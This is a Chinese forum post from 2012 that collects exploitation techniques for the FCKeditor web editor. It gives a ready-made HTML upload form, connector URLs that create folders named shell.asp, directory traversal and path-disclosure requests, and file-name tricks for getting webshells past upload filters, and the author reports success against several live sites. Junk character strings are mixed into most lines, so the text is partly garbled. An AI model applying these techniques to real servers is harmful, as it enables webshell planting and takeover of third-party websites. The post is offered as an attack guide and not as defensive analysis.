Fckeditor漏洞利用总结 @4 q; u; D. w, T$ b' A! ~+ z) I$ h4 ]
查看编辑器版本, A2 `5 q8 i7 y& J) d9 z3 d. F& `
FCKeditor/_whatsnew.html& H/ V4 M% \( ^
—————————————————————————————————————————————————————————————, v1 G* F% R# g4 V* Q! c) _3 H% J
) i4 N8 T! a2 b1 ?2. Version 2.2 版本
9 y" C" J9 [9 c9 R8 `Apache+linux 环境下在上传文件后面加个.突破！测试通过。
; M: y, @- `1 J+ t—————————————————————————————————————————————————————————————5 |) R8 v. W: w8 Z @- U
( C, `8 X3 U9 x. }- b& d8 r3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。9 l! f! r* d, T, [: [
<form id="frmUpload" enctype="multipart/form-data"
7 z$ a' ^& E$ o4 l$ J* Haction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
0 I) y6 h; [8 }. p% B1 d- C5 R<input type="file" name="NewFile" size="50"><br>. W4 s3 Q2 C' {! G% r+ R& E
<input id="btnUpload" type="submit" value="Upload">- U* P( A! p. l$ q! b
</form>( u, p( O0 H. `
—————————————————————————————————————————————————————————————
; ]* O Y/ b, z _! {8 ]
% @$ W2 c. @1 O9 d4.FCKeditor 文件上传“.”变“_”下划线的绕过方法* g# r" j+ m* J% W+ l; H# I% |
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。' u, U b% c+ S7 a* {
4.1：提交shell.php+空格绕过
+ i) Y0 z, G- _) J( \不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。9 ~) @" G/ k* \
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
( t; X; T% ~/ S* K) {' c* ~—————————————————————————————————————————————————————————————
) n2 I+ x3 r9 n/ h7 ~( E# M/ m
. E# `3 u* @# c, K. b- I5. 突破建立文件夹
/ u0 o+ h7 e4 p/ H. m. \FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- J$ ]# M1 {/ _6 T' ?6 w) \4 C
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp1 X! U1 Q( j9 l1 h6 _
—————————————————————————————————————————————————————————————/ Y% V% s/ b3 O }3 J
: K# p. J& { W: p5 U& g6. FCKeditor 中test 文件的上传地址' Z4 n2 ?- K1 X/ h9 j0 ^! F
FCKeditor/editor/filemanager/browser/default/connectors/test.html' G" g" h3 Q9 q( a! S
FCKeditor/editor/filemanager/upload/test.html. F; H `: d; Y& F# u
FCKeditor/editor/filemanager/connectors/test.html
+ o1 {4 }, C- S& l' O \) OFCKeditor/editor/filemanager/connectors/uploadtest.html8 y- }' Y3 b" \% e* g+ b% @+ g Q: r
—————————————————————————————————————————————————————————————
2 A' D7 n. T2 T8 d7 L" x" D4 {) s5 e# a0 Z. f
7.常用上传地址
, X7 Z& K% l6 ?( t1 UFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/: }; |# B# h! i$ ?# @" h
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp- r' z7 F$ v5 o/ J% ^! ~" }2 T0 x9 d
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
2 d) w, r9 ?8 h R5 o: w* P4 \JSP 版：' ?& @# I5 G% S- @" X- \, J& `
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
" l! Q/ V# }2 f0 N注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文7 l+ P9 K# @# T( d
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。! D! Z$ _* K2 a6 b( ~
—————————————————————————————————————————————————————————————' {+ n3 d& |' ~. {5 f
r. p3 W* L' b' `
8.其他上传地址( l2 p/ |8 n0 ?7 J
FCKeditor/_samples/default.html: k) W8 r' Z6 |9 j' {0 C* s
FCKeditor/_samples/asp/sample01.asp
X! k$ H6 F. D+ E, @' D ]9 CFCKeditor/_samples/asp/sample02.asp
8 g# E1 t% b5 g( Q! R, hFCKeditor/_samples/asp/sample03.asp. k5 K7 p' W% q6 C
FCKeditor/_samples/asp/sample04.asp
9 l+ i% u! I8 o0 ^- O6 S一般很多站点都已删除_samples 目录，可以试试。
$ X6 f* O r# M$ KFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
" X) A8 g" [2 H—————————————————————————————————————————————————————————————
4 _: ~" S+ R' L
6 }- \. {( }1 `2 z$ c3 R6 W; y9.列目录漏洞也可助找上传地址$ u0 T9 O$ b# C, j- |
Version 2.4.1 测试通过
2 A. \9 D4 X% h* w F$ I2 i修改CurrentFolder 参数使用 ../../来进入不同的目录
. j" }& ?% p W" a2 }- Y/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp; O, I! _! W2 n1 B
根据返回的XML 信息可以查看网站所有的目录。2 o/ F% \9 ~7 @- ^9 j, S
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
- C: Z. V$ u5 m# B6 Q6 }4 O也可以直接浏览盘符：, T9 x* K+ ?% V* E% G
JSP 版本：
: e( I- X! A' X6 ]FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
6 Z/ B+ F; L# r S—————————————————————————————————————————————————————————————
( p: ~' Y4 u" `- E. w" }) n: n
. D8 a% Q7 N" P- G, z* {) v10.爆路径漏洞
: F" N( J/ B9 a7 c$ n* s4 AFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp/ V% m. S% }: @' f& X
—————————————————————————————————————————————————————————————
' X( H+ v. `: i$ h( F" J
; D. w8 `4 \8 L11. FCKeditor 被动限制策略所导致的过滤不严问题8 R+ s$ l' g; N+ n5 Y4 y* e, a7 J
影响版本: FCKeditor x.x <= FCKeditor v2.4.3) N2 o( d0 e5 @: \/ K% l/ j0 {
脆弱描述：8 Y. a9 |! ?2 U
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：5 N3 p% h( e3 g: V$ g
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm9 M$ x3 ~) `) [- b/ }
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
! s$ h5 d6 b5 x6 ^( K/ G C 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
% n" x$ q1 M' s0 v 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!$ B: [' Z5 |% r( f: t( z( }( \1 c
—————————————————————————————————————————————————————————————( W8 T8 L. T+ B' D& w' v
) h4 x: J+ i. Q' e! x
12.最古老的漏洞，Type文件没有限制！
q& F+ j( n( ]( H7 }7 H6 l0 r 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ f5 ?% ]' r) b+ a
—————————————————————————————————————————————————————————————: _& M% X3 f! T& H
) b! B' h2 y: b' c2 B
===============================================================================================================================================
% ]$ @+ u3 G( N4 C- g5 v9 x+ a4 P$ i3 }
FCK编辑器jsp版本漏洞：+ _' l4 W2 S8 _8 `- s+ y0 T
* e! p7 {) p/ c8 F& u2 K% a
+ @/ V! G2 f/ Yhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
u- B8 _8 P" I, ?' d
+ h4 B+ X) [8 }9 G& r; ]) f上传马所在目录* J- P+ d9 h" ?* [5 W* n
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/& N2 Q& S9 G- ~
上传shell的地址:9 x* [4 O; {$ D4 D
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
; h* H" M5 ?5 m) }8 x跟版本有关系.并不是百分百成功. 测试成功几个站.2 G, f, o* N4 ]1 @$ N. v5 D
不能通杀.很遗憾.# N' ^, s4 }8 m& M5 b5 z
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector ?. }" t; i6 l. K2 q) c
如果以上地址不行可以试试' R- W$ G4 j7 Z7 j3 c- a/ Q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
$ R. J2 x3 s, x( S: VFCKeditor/_samples/
% c: Q Z7 p: H9 P. L* [FCKeditor/_samples/default.html
) O2 @1 A6 P4 _; xFCKeditor/editor/fckeditor.htm
: `% m; {+ H5 C" G. g) |- z9 B2 NFCKeditor/editor/fckdialog.html; O9 `1 W* t8 n" b$ I3 V" Y% Y
) ^" @4 W& p* ]% n' D9 y, K* k+ o0 k$ f7 V1 y z9 Z3 Q
, h3 K0 p. I. S, A解析漏洞+未重命名文件时上传漏洞 1.asp;jpg% m9 q1 I( H3 P$ i: r2 A$ H0 ?$ v/ ]
|
发表于 2012-9-13 17:01:39
收藏
支持
反对